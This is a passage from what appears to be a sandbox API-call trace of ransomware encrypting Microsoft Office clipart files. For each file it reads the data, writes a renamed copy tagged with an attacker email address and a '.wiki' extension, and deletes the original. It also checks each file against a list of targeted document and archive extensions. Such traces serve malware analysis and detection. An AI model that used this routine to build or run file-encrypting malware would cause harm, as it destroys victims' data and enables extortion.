lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0191.433] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0191.434] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.434] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.434] SetEndOfFile (hFile=0x1dc) returned 1 [0191.434] CloseHandle (hObject=0x1dc) returned 1 [0191.434] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.434] SetEndOfFile (hFile=0x1f4) returned 1 [0191.435] CloseHandle (hObject=0x1f4) returned 1 [0191.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0191.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.435] lstrlenW (lpString=".doc") returned 4 [0191.435] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.436] lstrlenW (lpString=".docx") returned 5 [0191.436] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0191.436] lstrlenW (lpString=".pdf") returned 4 [0191.436] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.436] lstrlenW (lpString=".xls") returned 4 [0191.436] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.436] lstrlenW (lpString=".xlsx") returned 5 [0191.436] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0191.436] lstrlenW (lpString=".ppt") returned 4 [0191.436] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.436] lstrlenW (lpString=".zip") returned 4 [0191.436] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.436] lstrlenW (lpString=".rar") returned 4 [0191.436] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.436] lstrlenW (lpString=".bz2") returned 4 [0191.436] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.436] lstrlenW (lpString=".7z") returned 3 [0191.436] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.436] lstrlenW (lpString=".dbf") returned 4 [0191.436] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.436] lstrlenW (lpString=".1cd") returned 4 [0191.436] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.436] lstrlenW (lpString=".jpg") returned 4 [0191.436] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.437] lstrlenW (lpString=".doc") returned 4 [0191.437] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.437] lstrlenW (lpString=".docx") returned 5 [0191.437] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0191.437] lstrlenW (lpString=".pdf") returned 4 [0191.437] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.437] lstrlenW (lpString=".xls") returned 4 [0191.437] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.437] lstrlenW (lpString=".xlsx") returned 5 [0191.437] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0191.437] lstrlenW (lpString=".ppt") returned 4 [0191.437] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.437] lstrlenW (lpString=".zip") returned 4 [0191.437] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.437] lstrlenW (lpString=".rar") returned 4 [0191.437] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.437] lstrlenW (lpString=".bz2") returned 4 [0191.437] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.437] lstrlenW (lpString=".7z") returned 3 [0191.437] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.437] lstrlenW (lpString=".dbf") returned 4 [0191.437] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.437] lstrlenW (lpString=".1cd") returned 4 [0191.437] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0191.437] lstrlenW (lpString=".jpg") returned 4 [0191.437] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.438] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.438] lstrlenW (lpString="J0099191.JPG") returned 12 [0191.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.438] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=62367) returned 1 [0191.438] CloseHandle (hObject=0x1f4) returned 1 [0191.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0191.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.438] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.438] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.439] GetLastError () returned 0x0 [0191.439] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xf39f, lpOverlapped=0x0) returned 1 [0191.441] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf3a0, lpOverlapped=0x0) returned 1 [0191.443] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.443] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.443] SetEndOfFile (hFile=0x1dc) returned 1 [0191.443] CloseHandle (hObject=0x1dc) returned 1 [0191.443] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.443] SetEndOfFile (hFile=0x1f4) returned 1 [0191.444] CloseHandle (hObject=0x1f4) returned 1 [0191.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0191.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.445] lstrlenW (lpString=".doc") returned 4 [0191.445] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.445] lstrlenW (lpString=".docx") returned 5 [0191.445] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0191.445] lstrlenW (lpString=".pdf") returned 4 [0191.445] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.445] lstrlenW (lpString=".xls") returned 4 [0191.445] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.445] lstrlenW (lpString=".xlsx") returned 5 [0191.445] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0191.445] lstrlenW (lpString=".ppt") returned 4 [0191.445] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.445] lstrlenW (lpString=".zip") returned 4 [0191.445] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.445] lstrlenW (lpString=".rar") returned 4 [0191.445] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.445] lstrlenW (lpString=".bz2") returned 4 [0191.445] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.445] lstrlenW (lpString=".7z") returned 3 [0191.445] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.445] lstrlenW (lpString=".dbf") returned 4 [0191.445] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString=".1cd") returned 4 [0191.446] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString=".jpg") returned 4 [0191.446] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString=".doc") returned 4 [0191.446] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.446] lstrlenW (lpString=".docx") returned 5 [0191.446] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0191.446] lstrlenW (lpString=".pdf") returned 4 [0191.446] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.446] lstrlenW (lpString=".xls") returned 4 [0191.446] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.446] lstrlenW (lpString=".xlsx") returned 5 [0191.446] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0191.446] lstrlenW (lpString=".ppt") returned 4 [0191.446] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString=".zip") returned 4 [0191.446] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.446] lstrlenW (lpString=".rar") returned 4 [0191.446] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.446] lstrlenW (lpString=".bz2") returned 4 [0191.446] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.446] lstrlenW (lpString=".7z") returned 3 [0191.446] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString=".dbf") returned 4 [0191.446] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.446] lstrlenW (lpString=".1cd") returned 4 [0191.447] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0191.447] lstrlenW (lpString=".jpg") returned 4 [0191.447] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.447] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.447] lstrlenW (lpString="J0099192.GIF") returned 12 [0191.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.448] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17964) returned 1 [0191.448] CloseHandle (hObject=0x1f4) returned 1 [0191.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0191.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.448] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.448] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.448] GetLastError () returned 0x0 [0191.449] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x462c, lpOverlapped=0x0) returned 1 [0191.459] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0191.460] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.460] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.460] SetEndOfFile (hFile=0x1dc) returned 1 [0191.460] CloseHandle (hObject=0x1dc) returned 1 [0191.461] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.461] SetEndOfFile (hFile=0x1f4) returned 1 [0191.461] CloseHandle (hObject=0x1f4) returned 1 [0191.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0191.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.787] lstrlenW (lpString=".doc") returned 4 [0191.787] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.787] lstrlenW (lpString=".docx") returned 5 [0191.787] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0191.787] lstrlenW (lpString=".pdf") returned 4 [0191.787] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.787] lstrlenW (lpString=".xls") returned 4 [0191.787] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.847] lstrlenW (lpString=".xlsx") returned 5 [0191.848] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0191.848] lstrlenW (lpString=".ppt") returned 4 [0191.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.848] lstrlenW (lpString=".zip") returned 4 [0191.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.848] lstrlenW (lpString=".rar") returned 4 [0191.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.848] lstrlenW (lpString=".bz2") returned 4 [0191.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.848] lstrlenW (lpString=".7z") returned 3 [0191.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.848] lstrlenW (lpString=".dbf") returned 4 [0191.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.848] lstrlenW (lpString=".1cd") returned 4 [0191.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.848] lstrlenW (lpString=".jpg") returned 4 [0191.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.848] lstrlenW (lpString=".doc") returned 4 [0191.848] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.848] lstrlenW (lpString=".docx") returned 5 [0191.848] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0191.848] lstrlenW (lpString=".pdf") returned 4 [0191.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.848] lstrlenW (lpString=".xls") returned 4 [0191.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.848] lstrlenW (lpString=".xlsx") returned 5 [0191.848] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0191.849] lstrlenW (lpString=".ppt") returned 4 [0191.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.849] lstrlenW (lpString=".zip") returned 4 [0191.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.849] lstrlenW (lpString=".rar") returned 4 [0191.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.849] lstrlenW (lpString=".bz2") returned 4 [0191.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.849] lstrlenW (lpString=".7z") returned 3 [0191.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.849] lstrlenW (lpString=".dbf") returned 4 [0191.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.849] lstrlenW (lpString=".1cd") returned 4 [0191.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0191.849] lstrlenW (lpString=".jpg") returned 4 [0191.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.849] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.849] lstrlenW (lpString="J0099203.GIF") returned 12 [0191.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.850] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3904) returned 1 [0191.850] CloseHandle (hObject=0x1f4) returned 1 [0191.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0191.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.850] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.850] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.851] GetLastError () returned 0x0 [0191.851] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xf40, lpOverlapped=0x0) returned 1 [0191.854] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf50, lpOverlapped=0x0) returned 1 [0191.855] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.855] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, 